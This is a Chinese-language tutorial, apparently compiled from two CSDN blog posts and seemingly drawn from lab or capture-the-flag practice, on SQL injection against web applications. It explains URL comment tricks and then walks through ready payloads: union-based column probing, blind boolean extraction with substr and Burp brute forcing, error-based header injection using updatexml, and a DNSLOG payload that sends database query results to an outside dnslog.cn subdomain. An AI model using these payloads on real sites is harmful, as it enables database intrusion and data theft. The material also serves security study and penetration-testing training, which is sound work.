小知识点:sql注入中关于“--+“,“--“和“#“
使用#号
有时发现执行的sql语句中没有#号
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了
使用--和使用--+
这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。

    了解原理后便知道了--无法使用的原因,是因为--与后面的单引号连接在一起,无法形成有效的mysql语句。

    在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合

    所以在注入时我们除了使用--+外,也可以使用-- '来完成sql注入语句(-- '注意这个之间有空格)
    {
1.# 和 -- (有个空格)表示注释,可以使它们后面的语句不被执行。在url中,如果是get请求**(记住是get请求,也就是我们在浏览器中输入的url)** ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。

2.当然,也可以使用--%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错。
![](https://jinqipiaopiao.github.io//post-images/1617707627339.png)
3.如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

4.为什么--后面必须要有空格,而#后面就不需要?
因为使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。
因为不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

————————————————
版权声明:本文为CSDN博主「Dooz」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_43096078/article/details/108215076
}
1.基本知识

2.sql注入
如何判断有无注入: and1=2
步骤:
1、找注入点(id=1等等)
2、通过order by 找出一共有多少列数。(报错数字前一个)id=1 order by 3 (前面不用加and)
3、利用union select 1,2,3 (一般用null取代)到那个数字 显示哪个数字证明那个数字是输出点 id=1 union select 1,2,3 (前面不用加and)
4、把输出点更换成对应函数测出库名,表名,字段,数据等

拓展
and 1=2 可更换成 id=1.1/999999 (报错即可)
limit1,1 第一个1代表列数,第二个1代表出现多少个结果

通过源码判断是否通过’'或者 ()使语句无效
如果id=‘1’ 则搭建语句时用 ’ union select 1,2,3 — sad
如果是id=(‘1’) 则搭建语句时用 ’) union select 1,2,3 — sad
3.SQL盲注
如何判断有无注入SQL盲注:同上
就是无法直观看到显示结果,通过对错判断是否猜解正确


利用burp爆破猜解
平常语句:

猜库名:
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k

猜表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
and substr((select table_name from information_schema.tables where table_schema='kanwolongxia
' limit 0,1),1,1)='l' 返回正常,说明数据库表名的第一个的第一位是l

猜字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 返回正常,说明loflag表中的列名称第一位是i

太麻烦了burp的intruder爆破猜解一步到位


具体步骤就把那几个输入改变点的可能字典集放到里面爆破就完事了
4.head注入
如何判断有无head注入:拿head去另一个浏览器不登陆也能进该网站

head注入可以利用burp抓包改包,放到Repeater去go完事
这里推荐插件Modheader(可以ua、referer、xff注入都可)
直接写刷新就行

主要流程代码
' or updatexml(1,concat(0x7e,(select database())),1),1)-- adf
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1)),1),1) -- qwe
' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1) -- qwe


拓展
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码
5.dns漏洞注入
使用场景:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSLOG把想获得的数据外带出来

推荐网站:http://www.dnslog.cn/
利用这个网站构建要添加的子域名
像下面:select database()是查询语句 cp846m.dnslog.cn是子域名(记得前面加点)1.txt不存在只起到查询作用
and load_file(concat(’//’,(select database()),’.cp846m.dnslog.cn/1.txt’))

查询语句结果可在该网看到

拓展
LOAD_FILE:读取文件并返回文件内容为字符串
多次查询同一语句不会改变结果,因为不会重复解析,可以更改子域名或者在前面加.asd.等等

————————————————
版权声明:本文为CSDN博主「ZzjJjwW」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43337502/article/details/108537098